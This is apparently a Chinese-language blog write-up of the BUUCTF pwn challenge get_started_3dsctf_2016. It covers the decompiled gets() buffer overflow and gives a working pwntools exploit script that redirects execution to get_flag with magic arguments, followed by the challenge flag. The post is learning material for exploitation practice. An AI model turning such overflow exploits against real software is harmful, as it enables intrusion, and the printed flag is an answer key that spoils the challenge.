ctf-pwn_buu-get_started_3dsctf_2016题解

正向分析

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-38h]

  printf("Qual a palavrinha magica? ", v4);
  gets(&v4);
  return 0;
}

目标函数

目标函数第11行位于0x80BC388

void __cdecl get_flag(int a1, int a2)
{
  int v2; // eax
  int v3; // esi
  unsigned __int8 v4; // al
  int v5; // ecx
  unsigned __int8 v6; // al

  if ( a1 == 814536271 && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = v2;
    v4 = getc(v2);
    if ( v4 != 255 )
    {
      v5 = (char)v4;
      do
      {
        putchar(v5);
        v6 = getc(v3);
        v5 = (char)v6;
      }
      while ( v6 != 255 );
    }
    fclose(v3);
  }
}

逆向分析

因此只要在gets的时候通过溢出把返回地址修改为0x80BC388即可得到答案

payload计算得应该为b'a'*(0x38+4)+p32(0x80BC388)

行不通,

学长:

因为get_flag函数执行完了之后会有return,但是栈上的数据已经被弄坏了。

return到错误地址,程序就坏掉了。

经过查询有两种做法

  • 使用exit()避免程序坏掉(下面的做法)
  • mprotect绕过,然后运行shellcode

下面用第一种做法

#!/usr/bin/env python
# coding=utf8
from pwn import *

context.log_level = 'debug'  # 显示调试的信息

p = remote('node3.buuoj.cn', 26158)
# bin = ELF('./',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass

# payload = b'a'*(0x38+4) # +p32(0x80BC388)

payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)

# p.recv()
# p.recvuntil('Qual a palavrinha magica? ')  # 收到某个字符后继续执行否则sleep
p.sendline(payload)

# raw_input()  # 用来断在开始的位置
# gdb.attach(p)  # 可以用动态调试
p.interactive() # 监听和用户输入模式

得到flag:b'Qual a palavrinha magica? flag{cf124ffb-7ef8-4d34-817f-5286a51a4205}\n'

flag:flag{cf124ffb-7ef8-4d34-817f-5286a51a4205}

Last modification:June 29, 2021
如果觉得我的文章对你有用,请随意赞赏。咖啡(12RMB)进度+100%,一块巧克力(1RMB)进度+6%。
(赞赏请备注你的名称哦!后台记录中来自理工小菜狗)